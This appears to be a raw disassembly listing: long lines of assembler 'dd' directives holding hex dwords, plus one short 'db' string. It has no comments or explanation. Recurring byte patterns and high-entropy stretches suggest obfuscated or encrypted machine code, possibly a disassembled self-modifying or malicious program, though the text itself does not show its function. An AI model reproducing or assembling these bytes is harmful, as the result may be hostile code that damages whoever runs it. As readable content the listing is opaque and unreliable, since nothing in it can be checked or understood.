dd 24448958h, 24448104h, 1A04h, 0C3504000h, 90490A8Dh dd 6AB5179Ah, 4595FF00h, 8B061F1Dh, 0E25AEBC0h, 0DCA3E9F1h dd 61A3DCEAh, 34D70DD0h, 801AA84Fh, 0E26D06EFh, 75820F36h dd 0EFDD6899h, 2FC9D0BDh, 325F5423h, 15A830C4h, 4E2BB4D2h dd 806F812Dh, 4BDC922Ah, 78F75D43h, 0D1CC3621h, 0ABCA311Fh dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 0E34262D6h, 0C61E9144h dd 2C4A8624h, 3C8D8D87h, 6A06256Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 45B4C355h dd 0A4E9C8E8h, 81188692h, 242BF4D6h, 14E90Ah, 0DAA80000h dd 0C42D2356h, 653726E5h, 0B85B71C6h, 93A0E9DCh, 8D89BD83h dd 61F0B5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0E2C35141h, 0B1C8805Dh, 8003276Eh, 20C585C7h, 6FD4061Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0FE304AC3h, 85C7C68Ah, 61F137Dh, 0 dd 0E3D08166h, 59531BCh, 0FF061F2Ch, 1F1EB1B5h, 5E906h dd 0AF90000h, 0FF73CB3Dh, 1F2D5995h, 4D852906h, 89061F00h dd 1F273D85h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 1F0F091Eh dd 5696BE6Fh, 6B5ED7D7h, 78AC9441h, 0E9EC1ABCh, 0A7F2FA90h dd 0E5A6E544h, 0E8F75CF0h, 13h, 164AF0E3h, 85473C34h, 0F317A822h dd 594C80Dh, 8BD88D20h, 1F23118Dh, 0C0815806h, 74E4h, 0BBECD980h dd 29F639D9h, 24CCF381h, 0F18129F6h, 69124BF9h, 8E0F30FFh dd 0 dd 0CB8B665Ah, 0C153C281h, 0F28153F0h, 6A343D6Fh, 5E9h dd 7A31AF00h, 0F28173AAh, 2FC5C4E2h, 5229C980h, 0CC18D31h dd 8F061Fh, 24BDBD8Bh, 0E881061Fh, 522B9081h, 2A258D8Bh dd 0C081061Fh, 522B907Dh, 62C78166h, 1EB8329h, 0FFA6850Fh dd 0BD8BFFFFh, 61F06FDh, 13E8h, 2C285300h, 0FB3DFA5Dh dd 8D140AE6h, 25F004h, 0B9053FF1h, 5EC18B57h, 817CB45Bh dd 6152C3h, 0CD950900h, 33061F1Ah, 0BE9C9h, 9F3D0000h dd 6B9B33DAh, 0DB25CD8Ch, 1934FFBDh, 6810Fh, 85230000h dd 61F10A9h, 91BD895Ah, 81061F13h, 746E9EAh, 6E80Ah, 63430000h dd 0CE38AF21h, 18E9B589h, 815F061Fh, 0A19ACEF2h, 32C28119h dd 522FFDD1h, 0B048FFCh, 1F0D62B8h, 95E98136h, 0E92F411Ah dd 5, 0EB251DE8h, 91C18174h, 0F2F411Ah, 0F981FABFh, 0FFFF9F4Ch dd 0FF97850Fh, 8DF9FFFFh, 2570A68Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0A577B7D1h dd 6063BCAFh, 46C8BA66h, 5D8D8961h, 89061F0Bh, 1F2341B5h dd 0C585C706h, 40061F20h, 6A000065h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8E19C352h dd 85C75B8Ah, 61F137Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h dd 82BF1A01h, 12AD8D29h, 0B5FF061Fh, 61F0865h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FEC35242h, 0C825DF81h dd 95FF0500h, 61F2D59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 67C35343h, 958BC7B0h, 61F0291h, 0FE8h dd 98090D00h, 0C1A589BEh, 7F16D7DFh, 77BD5489h, 2B198501h dd 6A5F061Fh, 4595FF00h, 8B061F1Dh, 0BC1CEBC0h, 26C82F28h dd 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h, 2E337FC0h dd 8D969A59h, 2571E58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0B509FB68h, 61F0C71h dd 0B5D8D89h, 840F061Fh, 9, 8D8BFC60h, 61F1A5Dh, 0C585C761h dd 0B8061F20h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0E50BC356h, 639FE03h dd 0B1BD9607h, 547EF5B8h, 13E848h, 0CFD20000h, 5C1E6734h dd 0ADF95D65h, 107FE724h, 5CAD341h, 0A5B53146h, 58061F1Fh dd 137D85C7h, 61Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 7E4175C3h, 4EDB119h dd 0B5FFD88Bh, 61F0105h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 76C35545h, 38B87774h, 0FFF48A21h, 1F2D5995h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0AF47B6BDh, 773258CEh, 8A0Fh, 6A0000h, 1D4595FFh dd 0C08B061Fh, 0FDE61BEBh, 6C48EE7Ah, 0E298AD65h, 261E71B3h dd 0A90CF97Ah, 0E50A315Fh, 0CA69E82Ch, 0B68D8DF3h, 1062572h dd 1F027185h, 89C28A06h, 1F0B5D8Dh, 0D0816006h, 6C9611D3h dd 0C76150B6h, 1F20C585h, 58C806h, 0C1F28100h, 0C770A3A1h dd 1F137D85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0A860A957h, 4E382E5h dd 4FBF667Eh, 91B5FF69h, 8B061F32h, 1F2F89BDh, 5995FF06h dd 6A061F2Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 3A2C357h, 9042F14Dh, 2D05858Bh dd 6E9061Fh, 3000000h, 3933605Ah, 860F61h, 6A000000h, 4595FF00h dd 8B061F1Dh, 3D4CEBC0h, 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh dd 8065A1h, 9AA63082h, 7AE0224Dh, 0D3B2E6F3h, 3A16280Dh dd 0CABB3872h, 0A38E909Dh, 250583DBh, 75C2BE03h, 0C90BC1D9h dd 41F8B500h, 1FADA26Bh, 903ECE3Dh, 343101B9h, 0A61EF131h dd 0E8C4E928h, 0Ch, 0B9CC1ED7h, 3BAEA485h, 5E1E9963h, 5AE3D380h dd 88F0Fh, 89520000h, 1F060D8Dh, 0C2815F06h, 6FBBh, 6898D580h dd 1BB6h, 6800Fh, 9D090000h, 61F116Dh, 0FEB8605Eh, 6602F429h dd 0FF61F28Bh, 618D8B32h, 58061F31h, 83D8589h, 0F081061Fh dd 387EE4C3h, 11B3E881h, 0FE97498h, 0B8000000h, 584CE165h dd 5F20010h, 0D53ACBFEh, 0F0817CE6h, 0FA592E0h, 0B5CD8060h dd 0EE9h, 101CA300h, 79EBD824h, 98D3AF82h, 6133CC58h, 0BD8B0289h dd 61F2C65h, 6E57EA81h, 9D297891h, 61F1221h, 6E53C281h dd 0BD017891h, 61F2AC5h, 0F01EE83h, 1A85h, 0FABF0F00h dd 26E9h, 313500h, 9227070Dh, 0B7266557h, 20C1EC32h, 8BCB8CE9h dd 1F1B698Dh, 0FF65E906h, 8D4FFFFh, 1BC4FB6Bh, 8D9D74A4h dd 2574998Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0E1C0BB7Eh, 9D71B0E1h, 2A699D8Bh dd 9E8061Fh, 0BB000000h, 0A45D1E76h, 8F2D8406h, 75B922BEh dd 8D895F41h, 61F0B5Dh, 20C585C7h, 71F8061Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 11B410C3h, 0F39844FCh, 0C717D881h, 85C71196h, 61F137Dh dd 0 dd 19CDB52Bh, 0B5FF061Fh, 61F0749h, 2F65858Bh, 95FF061Fh dd 61F2D59h, 6AD6B7h, 1D4595FFh, 0C08B061Fh, 85C90EEBh dd 9A5C2534h, 60BDBF3Bh, 13C35A7Ch, 14E8h, 44134900h, 3D63BF41h dd 0C6E5A46Ah, 387B05F1h, 0A067360Ah, 0F7B70F61h, 0EF81665Ah dd 0C281EB82h, 6C6Ah, 3098BB66h, 0CA5CBCB9h, 44F18126h dd 126CA46h, 1F24C185h, 6632FF06h, 8107E681h, 13E958h dd 4D5A0000h, 23720762h, 385CA369h, 4D2208F5h, 0B2D835BAh dd 0B0F08125h, 8B72D015h, 7AF081F0h, 0B7433433h, 23F08131h dd 892F3B44h, 1F23B9B5h, 8B028906h, 1F308DB5h, 4EA8306h dd 0F495B51h, 0FFFFB085h, 0D19D33FFh, 0E8061F16h, 9, 0B56EAFE7h dd 0C5458B06h, 5EC68B81h, 0D860Fh, 89600000h, 1F1CCD95h dd 270BBB06h, 81613F82h, 655BC6h, 0BFD78100h, 337CE64Dh dd 5FF552D2h, 0F3234FFh, 8159C6BFh, 1A066FDBh, 0DEE98108h dd 2901AF96h, 1F0A5985h, 3FF18106h, 6034932Ch, 20F58589h dd 9589061Fh, 61F2405h, 0E8E98161h, 0F641F7Eh, 584h, 0C3816600h dd 66517840h, 4685DB81h, 0E916048Fh, 12h, 4D43BB4Fh, 0E9879B1h dd 59F0A8E5h, 7F551C4h, 0EA83D71Fh, 29958902h, 4A061F03h dd 7D8D894Ah, 81061F0Eh, 0FF9B6CFAh, 0C850FFFh, 8B000000h dd 19E9D8h, 61E60000h, 0E93F103Dh, 0FFFFFF74h, 0F0C809DDh dd 171E7039h, 9E5D6819h, 0E8E25488h, 7, 9134D1B3h, 89FE2F2Eh dd 1F0B2D9Dh, 8D315B06h, 61F1885h, 674BC381h, 0B6600000h dd 73E9BB17h, 0BF614584h, 0 dd 0FFF08B66h, 830F1F34h, 6, 110D958Bh, 0E858061Fh, 0Eh dd 0E9228C8Ah, 69C868BEh, 512467EAh, 0CE83A55h, 10000000h dd 4C84F789h, 9269006Dh, 1343659h, 1F1EE1BDh, 815E5906h dd 9D47E7C0h, 1AD28047h, 60EEF081h, 31516165h, 1F1DCD95h dd 0E8815906h, 73D13073h, 175DB58Bh, 489061Fh, 2585893Bh dd 0F061F02h, 0EF81D7B7h, 46BB1463h, 0F2F18166h, 5FC78141h dd 8B46BB14h, 94FF81D7h, 0FFFFF99h, 1885h, 89ED8000h, 26E9h dd 0D75DE00h, 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 0DABA663Bh dd 0FF55E988h, 0F775FFFFh, 0E8BD1A0h, 56996B76h, 0E8C6C6A0h dd 6, 0F11D5C36h, 665884B2h, 0C081F88Bh, 7171h, 4832CF81h dd 2C686C39h, 0BF00001Ch, 5E9413BBh, 0D6BF0F59h, 0BE6630FFh dd 895B3CF5h, 1F2E5195h, 9FEB8106h, 0E878A25Eh, 8, 0D90D2B9h dd 98E5FE17h, 0AE9h, 6295400h, 12BF2A77h, 5FD81A10h, 398FF381h dd 958B2D99h, 61F0DE5h, 482F381h, 53F92565h, 8FF08Bh, 9C34BF66h dd 0BFB3E881h, 0C0815B44h, 5B44BFAFh, 6599509h, 0E983061Fh dd 24850F01h, 0E9000000h, 0Bh, 0D08C8001h, 1419FBCEh, 0E98264EAh dd 25h, 2CD7B519h, 7BDA482h, 0C88C9817h, 0BF65169Dh, 594695FBh dd 0FFFF6BE9h, 0AD340DFFh, 40F4E831h, 993B2CDEh, 34AC4286h dd 7C2406A2h, 0B37D7AA2h, 2F17833Bh, 0B42A2180h, 30259083h dd 3025C46Fh, 3D98A786h, 30230DAAh, 305A8D89h, 8DA68486h dd 363A4D43h, 42A12E86h, 0F6259086h, 2F056D03h, 0CC4D6A80h dd 0B1DB2302h, 63992DB2h, 85DAD2F5h, 363A6E8Bh, 49B6A40Bh dd 0E0DA96A4h, 0B5E3B80Dh, 363A04A3h, 0BA3C7AC8h, 4A4A8C1h dd 3578DDA2h, 0F590BD8Fh, 0BD233E89h, 125C0303h, 0BBF5B780h dd 30359D7Eh, 38CC1286h, 96250986h, 302B0189h, 3B6C4286h dd 0C0A02E4Fh, 0D9DA6F79h, 3025488Bh, 7D95B90Bh, 359D1499h dd 0CF250986h, 0F1980965h, 0BD2367F1h, 155D5E0Bh, 15372880h dd 0FF0ECEB6h, 34AC4247h, 7C2406A2h, 0B37D7AA2h, 2F17833Bh dd 0B42A2180h, 30259083h, 3025C46Fh, 8398A786h, 0A4F305E9h dd 22B9h, 588D8D00h, 6A062579h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 31BBC352h, 1F2C0995h dd 5D8D8906h, 6A061F0Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 567FC356h, 204016FEh dd 0DCEF8166h, 0C585C750h, 0A0061F20h, 81000064h, 37503EF7h dd 7D85C71Dh, 61F13h, 56000000h, 45B5FF5Ah, 0F061F15h dd 8Fh, 5995FF00h, 6A061F2Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0DF31C351h, 3969E907h dd 19BD090Fh, 8A061F20h, 0FF006AE3h, 1F1D4595h, 0EBC08B06h dd 416B5E5Fh, 0BC78AC94h, 90E9EC1Ah, 44A7F2FAh, 0F0E5A6E5h dd 1181F75Ch, 0B13F7DA7h, 604CA9DBh, 51D39635h, 0B0F0492Ah dd 14B7C8D6h, 0DA5A7D38h, 9EE942E0h, 3084ABFCh, 83DF0DE8h dd 420D9DE9h, 22275794h, 6F953C02h, 0C45185D4h, 0E1152109h dd 0A0C8599Ch, 6E32F938h, 9B9BC322h, 9E4E8A33h, 0E9D004EBh dd 0F3E93487h, 7E000007h, 985CD32Eh, 0B77BF20Dh, 0D3970EF3h dd 0EEB229D6h, 86D249B8h, 24DDC9CCh, 45CAE9ADh, 639E0ACEh dd 807F28ECh, 1BC74009h, 19AE2843h, 592B9ED6h, 1FD3A184h dd 7BF20D9Ah, 46622314h, 0A1623AE6h, 41F51FD3h, 0A078249Dh dd 331FD3A1h, 0A262DB7Fh, 0B266F807h, 0CF7709F8h, 0E28E072Bh dd 15F0BDDDh, 9044D68Ah, 0B074EB16h, 0C27608F7h, 4881AE5h dd 7E56028Bh, 1125F2BDh, 17A95651h, 2CA7CB6Fh, 0C7386FB2h dd 7800184Eh, 60745A98h, 0AF38C53Ch, 0AF4BC4EFh, 25F36CD7h dd 5D35E16Ah, 0F025F36Ch, 0DE74983Ch, 974899Bh, 5732h dd 6145BF00h, 4C5A0EA0h, 249F23B5h, 0C7DE9EBAh, 42641438h dd 0DB9E48BFh, 0F2F094B8h, 38h, 0A061457Fh, 0A1996E0Eh dd 4AF1FD3h, 0E1C5790Bh, 66648E20h, 9931126Eh, 9A44BF3Fh dd 0E7F77293h, 0CF5B171h, 0F0ACD27Ah, 0A0E070DAh, 9016C6EAh dd 1CCBFA71h, 54000000h, 17EABC7Ch, 926343F3h, 0B45CEE21h dd 0CDE7E10h, 951FD3A2h, 5D49D806h, 0A2B62DA4h, 0DB870095h dd 15F0BEE2h, 7D31C377h, 995DD42Dh, 0E15EF011h, 56449ABh dd 0B6DA201Ah, 40ECD463h, 25F2B068h, 2AA347FBh, 0FB75D7Eh dd 0BC4E021Ch, 0EE33AB2Ah, 0ACE45BCh, 2FCF61A0h, 2C11B687h dd 4ADC2583h, 5EF00F96h, 0DF4E901Fh, 5AC717A2h, 0C33AB150h dd 9CFF94A2h, 8D26E663h, 45FB5E82h, 7E3A9D62h, 8D8231F1h dd 0CC2F53FBh, 94B06A5Fh, 53C3F3h, 7A3A0000h, 4EB1D52Ch dd 9CFF94A2h, 6F47F37Ch, 21FD3A1h, 5B12A4Eh, 1FD3A22Dh dd 734BF780h, 0C61FD3A2h, 0D3A2421Ah, 0E821D51Fh, 23D71034h dd 7C097CC0h, 0A16F47F3h, 4E021FD3h, 83D6F728h, 0C3E79509h dd 0F16A9713h, 64887931h, 0DA0F7601h, 33h, 7D94A263h, 3CF22770h dd 6139E5E6h, 0F41FD2FAh, 95F89C40h, 0A1F8D07Ch, 5BD1FD3h dd 7C097CA2h, 8214EBBCh, 0A406B6DAh, 0F976FA5Dh, 0FD8F7039h dd 45CE3155h, 9B249D62h, 0D3A217EFh, 0D2F6AA1Fh, 241EA040h dd 55521FD6h, 456418AAh, 8F1E28BAh, 49D8DE4Fh, 0A503C395h dd 807AC5Ch, 0FAAACE76h, 0A3D952ADh, 0C1BE5430h, 8C0327B5h dd 9123DEC8h, 0AF525414h, 0A151751Dh, 0C383FC05h, 7B639CE3h dd 953757FFh, 873BCDF1h, 9D51E32Ch, 2667F916h, 6AEA439Bh dd 7432EFEFh, 2B340CB8h, 13C71FD8h, 0B4EF86Fh, 0A20F6FCAh dd 2Fh, 9D62452Fh, 0E83B40Bh, 0B300E995h, 753515F0h, 74ADD13Eh dd 97242EC0h, 0B28A620Eh, 691D25F2h, 0F8EC7A43h, 32749D5h dd 0DCCB5688h, 4535AC23h, 8E0B9D62h, 0F1436958h, 0DB546B88h dd 0D377572Fh, 1236EA1Fh, 9C1578BFh, 0F07B43F0h, 950CC015h dd 0FF94A21Eh, 1FE2C686h, 2FD0D98Dh, 0A151F59Dh, 0BF67F906h dd 467C389Bh, 891D50D3h, 1D5B5278h, 26A33559h, 135757F0h dd 0A7CB09CDh, 0EABC7C44h, 6443F317h, 0BC7C389Bh, 77EE12EDh dd 0EEBC7C00h, 0B5D98113h, 94B02A1Fh, 2883F3h, 3AFA0000h dd 0C6F936Eh, 9CFF94A2h, 0A1F8D07Ch, 0D78B1FD3h, 45097C74h dd 7C399C65h, 8618F7BCh, 0D43BBADEh, 27DAh, 94A26300h dd 0D07C9CFFh, 1FD3A1F8h, 0CC8C05BDh, 738E1CE7h, 39539E1h dd 7CD4375Bh, 9C654509h, 0EDBC7C39h, 86FEE12h, 0B9D6245h dd 0D623E96Bh, 7A3AC71Fh, 36B1D52Ch, 0C52E79A8h, 0E7DE9EE1h dd 841E665Ah, 3C33CE0h, 39E55EA3h, 1FD84161h, 0A51C40F4h dd 0C33CC5E1h, 4B1ECF8Dh, 0A050D550h, 0C068FA05h, 50560A9Ch dd 3AF38B1h, 1FD7F82Bh, 54E60ABEh, 988955D0h, 42BFE70Eh dd 3C7D279Eh, 0D10F6F15h, 43h, 0ECBC7C5Eh, 62DB8315h, 0D3A1DEB6h dd 99BD711Fh, 0AF41BEE9h, 31AADF58h, 9B731FA8h, 0B71FD3A1h dd 0D57D0FF0h, 28C4E89Ch, 15F0BA9Fh, 0C4CE6014h, 0EFAFA935h dd 752549B6h, 0E1D44B32h, 26A3A852h, 45940B82h, 0B40B9D62h dd 0C950E83h, 0D3A18860h, 43671B1Fh, 91851ECAh, 661A15F0h dd 94A278EFh, 0AC5086FFh, 4375ACADh, 481EF6A2h, 0FDB11FD3h dd 1FEA959h, 0E6637ADDh, 3735B3B0h, 0F81C0ADCh, 9D624595h dd 7C077E3Ah, 60B39446h, 0E80C53EEh, 94E37752h dd 43B6F3h, 0A2430000h, 0FD86FF94h, 0D3A17951h, 0EB14951Fh dd 4278B159h, 0C2DDA111h, 1A3EE29Dh, 0F8D07CB7h, 4B1FD3A1h dd 0A13E16C2h, 1DD11FD3h, 0A90CC0F9h, 0BC7C097Ch, 0D98113EEh dd 5CA505B5h, 0DA0F76F9h, 29h, 0FF94A263h, 0F8D07C9Ch dd 0BD1FD3A1h, 97CA205h, 0A1D2467Ch, 2F5A09A6h, 0B24F5B0Bh dd 70F9764Fh, 0D3A1ECC4h, 0A7CB7F1Fh, 91624544h, 0AE56E819h dd 3BFB780Ah, 0CCE79778h, 1831F43h, 0DF1FD624h, 14938E50h dd 0F5B272EBh, 0ACD0780Ah, 0C9367135h, 3257E037h, 3B540DB9h dd 35E915F5h, 0FCA831BEh, 25F73C24h, 7CDF03B7h, 86FF94A2h dd 0A17951FDh, 11951FD3h, 7DB65EF0h, 6342A5C9h, 9D6245FCh dd 31F17E3Ah, 5688C75h, 94B06A5Fh, 41C3F3h, 7C500000h dd 0A16F47F3h, 16C21FD3h, 1FD3A13Eh, 30E41DD1h, 0C7DB90Ch dd 0F8D07CA9h, 8B1FD3A1h, 29D55ED7h, 1FD3A151h, 0A90C30E4h dd 6545097Ch, 0F76399Ch, 4DDAh, 81174D00h, 9EA015B7h, 0A22D90B4h dd 7C9CFF94h, 8F8033F3h, 0A1926A16h, 71251FD3h, 0A1D9B14Dh dd 0E69E1FD3h, 45097C83h, 923EC765h, 1FD3A1BAh, 25FD994Dh dd 0B81FD3A2h, 7CFD6004h, 0B71CC346h, 0FDAA5DA6h, 0F7AE5E02h dd 0AACE7608h, 467CC42Bh, 1E337447h, 0AD5452B2h, 7235E509h dd 0D95BFB8Dh, 0D1FD5A9h, 21D56798h, 66EA7C85h, 343AF3EBh dd 0BFE839A5h, 0D91C740h, 0CB98DE4h, 5C2097BBh, 0CB22B44Bh dd 4B0296Ch, 15F544E3h, 0E65DD488h, 9CFF94A2h, 6245FC63h dd 47EB1491h, 7C077EE4h, 0A16F47F3h, 0AB151FD3h, 0A82E27B3h dd 3D61154Eh, 94BFA2A7h, 3B0BF3h, 0A2980000h, 7C9CFF94h dd 0D3A1F8D0h, 85558B1Fh, 0F9249535h, 1859C2B6h, 8F7441F2h dd 0F37C88EBh, 63897633h, 9CC5FBA9h, 59BCE008h, 399C6545h dd 12EDBC7Ch, 0DA086FEEh, 1Dh, 0FF94A263h, 1FE2C686h, 5EC1E58Dh dd 0A1F8D07Ch, 5BD1FD3h, 45097CA2h, 76399C65h, 9D62450Fh dd 0E83B40Bh, 0BE58E995h, 0DD9D15F0h, 807F2ACBh, 7EA246EEh dd 8D1A9145h, 786FE257h, 84A82A52h, 0A830631h, 96E9C181h dd 0EE66C9D2h, 44680C1Ah, 16409AA8h, 881DDD1Ch, 193DE577h dd 0E69A2CE0h, 3C73EC1h, 29C95BA4h, 0D6BAA79Eh, 7C2804A4h dd 5EBAE7A4h, 4DDF8337h, 61F30C99h, 9516C857h, 6A8BA90Fh dd 0C0C66AECh, 3374AD31h, 169155CCh, 6A357E9h, 0E9C080F9h dd 63DC8416h, 0BAF4DFB7h, 9ABE725Eh, 0E7F77608h, 0B35FE871h dd 5EBAF4DBh, 461EBA6Eh, 0D95EBAF4h, 56510125h, 396E32A9h dd 8214EBBAh, 3D49B4DAh, 0BAF34209h, 0CCDD9D16h, 5E7D0F33h dd 8, 0E9BC7CE7h, 3DA4F216h, 89A6745h, 1AAC5354h, 2DBF4266h dd 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h dd 0A234CBDAh, 0E3895386h, 4C381h, 0BD550000h, 4, 875DEB29h dd 685C241Ch, 6ECh, 68240C89h, 464Eh, 50241489h, 752F9068h dd 57B95863h, 29699AA9h, 16858C1h, 89000002h, 4832424h dd 685A0424h, 7DA0h, 8F240C89h, 34FF0842h, 0C4835A24h dd 240C8B04h, 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch dd 0FFF9FBCEh, 0B307D3Eh, 45B80FEEh, 3062581h, 44E0FFC5h dd 1F5A2D88h, 0A67B89Ah, 636E533Ch, 0DE003774h, 0AD227A5Ch dd 834F51BEh, 0B77B83A3h, 0E91A0C55h, 39176D17h, 0E873AF6Dh dd 14h, 7F04421Dh, 0F0EAE857h, 53385A2Bh, 0D39EB622h, 917F6E99h dd 8159FB8Bh, 7570C1h, 0D08B6600h, 0D2E4FEBBh, 3AC3811Bh dd 0FE42D38h, 138Dh, 0EE900h, 69340000h, 1BACC55Eh, 0E4E7D30Ch dd 76FDCA9Bh, 0BF66018Bh, 0E8818C42h, 68E2EA64h, 6CD6BF66h dd 4CA9F081h, 850F6083h, 0 aBsSS db 'èÇSØ',7,'é',7,0 db 2 dup(0), 1Fh dd 0BA9D0498h, 1899CE5h, 3870Fh, 8B660000h, 1E983FAh, 78F78166h dd 4949492Bh, 0F01EB83h, 0FFFFB385h, 0F2BF0FFFh, 10E8h dd 0FF28EC00h, 9E8770B8h, 16E28D32h, 5167D5Ch, 12B6601Ah dd 0E9F88B60h, 7, 0CE757984h, 61862546h, 6E85A61h, 62000000h dd 5BC68FA3h, 14E950D7h, 2C000000h, 4B79C2DAh, 86A6648Eh dd 3C862D4h, 334E99F3h, 5ECBB14Fh, 66C2815Bh, 6800006Eh dd 0 dd 5636BF66h, 21F38159h, 8B2CAC25h, 0C0810A04h, 727FBCBBh dd 81F8B70Fh, 8926ACF0h, 5E826h, 0FE0B0000h, 0F4F6371h dd 815FD8B7h, 0DA8C31E8h, 0E7816045h, 13ED1F52h, 8961CE8Bh dd 0B70F0A04h, 0E981F8DEh, 179D7CB4h, 0B0C181FCh, 81179D7Ch dd 0FF927CF9h, 1B850FFFh, 0F000000h, 2CE9F8BFh, 16000000h dd 8C5F2C0h, 0E2B5E292h, 5088BA2Eh, 4AF562BBh, 81668379h dd 0E958AFCBh, 0FFFFFF8Bh, 7A4B55B8h, 5EB4972Ch, 25F2E02Ah dd 8D6AA08Ah, 2584678Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 316D3ADh, 810DCF21h, 0DA27FAD6h dd 5D8D8943h, 6A061F0Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0F52FC352h, 4414C3F5h dd 325AE5F0h, 58D2960h, 29061F2Ch, 1F08DD9Dh, 85C76106h dd 61F20C5h, 5FB8h, 6850Fh, 0F0810000h, 5862740Dh, 137D85C7h dd 61Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 5FE636C3h, 89BB75D4h, 1F1C0D9Dh dd 0BE906h, 602B0000h, 6A591EDAh, 6206DA78h, 49B5FF52h dd 66061F07h, 983FD681h, 2D5995FFh, 6A061Fh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0EE4B19C3h dd 411CC24Fh, 95FF006Ah, 61F1D45h, 0EEBC08Bh, 0F573D509h dd 7F17D451h, 0D3F585C0h, 8D8D92BEh, 625851Eh, 0E8C0Fh dd 89600000h, 1F066D85h, 810F06h, 61000000h, 0B5D8D89h dd 8BF8061Fh, 1F1B45B5h, 0C585C706h, 0F0061F20h, 6A000072h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0E05CC353h, 85C7D8F4h, 61F137Dh, 0 dd 0B5FFF88Bh, 61F3025h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 43C35545h, 21AB4772h, 5EA79C27h, 95FFC68Bh dd 61F2D59h, 0AE9h, 0F5A03B00h, 98BF7080h, 6A0793A4h, 4595FF00h dd 8B061F1Dh, 0FC6DEBC0h, 37BC435Ch, 0D5BFE32Bh, 7A12949h dd 0A1FF670Bh, 994D9BFDh, 0CF7BE250h, 0D7522CC7h, 24E14DF3h dd 0F53EAD5Bh, 15168D3Eh, 2C6585B0h, 0A4489668h, 0C921F5C3h dd 0FB5152CEh, 0DB57E85Ah, 6142A8C7h, 0C3240901h, 2D0E5075h dd 0AFE64641h, 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h dd 6FEAA1C2h, 0B4CB2093h, 1C4FE862h, 99255B1Ch, 86418D8Dh dd 9AB80625h, 89018A09h, 1F0B5D8Dh, 0BF0F6006h, 859589CEh dd 61061F05h, 20C585C7h, 6124061Fh, 8C0F0000h, 0 dd 137D85C7h, 61Fh, 4CBF0000h, 667183C4h, 0FFEC3DBEh, 1F105DB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0C431B1F5h, 11E998E9h, 13000000h, 5EE187D9h dd 60F89E4Dh, 768901E1h, 8FBDDC0Ch, 4AF1EE81h, 95FF692Eh dd 61F2D59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 3DC35040h, 5A1A1A5Ah, 6AFCF1h, 1D4595FFh, 0C08B061Fh dd 46431BEBh, 0FC70800h, 1FA2DD8Dh, 0E7669CD8h, 95E409C1h dd 2337C447h, 6B17901Ch, 5E8A8h, 5FAE0000h, 8BCE15ACh dd 1F2FED95h, 9505B06h, 1F087D95h, 0C3815906h, 6A61h, 30419589h dd 0C02B061Fh, 810Fh, 34FF0000h, 5F29B618h, 81CA8B66h dd 0CE3968EFh, 81EB8A70h, 0AE1362EFh, 0F28B6643h, 8B94C781h dd 0E8601605h, 11h, 0D2EB9BB3h, 0F4B5A4BAh, 0BC3F925Fh dd 9D54A913h, 89615E4Ah, 2AB9033Ch, 60223229h, 0F20FB866h dd 0FE9h, 0F4DFA800h, 0DF8C1DB9h, 387D76C8h, 9A0B1CACh dd 4E88361h, 26E2E9B9h, 5CF8813Ch, 0FFFFF96h, 1085h, 69858900h dd 0E9061F2Fh, 1Fh, 0E6E88350h, 9D8589A9h, 0E9061F16h dd 0FFFFFF76h, 19D1BE30h, 67FCFA12h, 0B614C5D6h, 8D96C448h dd 2587888Dh, 0CE906h, 78E20000h, 0C5FDD3E2h, 304A1289h dd 8D8948FEh, 61F0B5Dh, 6850Fh, 85310000h, 61F1FF5h, 20C585C7h dd 6078061Fh, 0D38B0000h, 137D85C7h, 61Fh, 85890000h, 61F31C9h dd 2D01B5FFh, 0BD89061Fh, 61F08E5h, 2D5995FFh, 0BF0F061Fh dd 0FF006AC0h, 1F1D4595h, 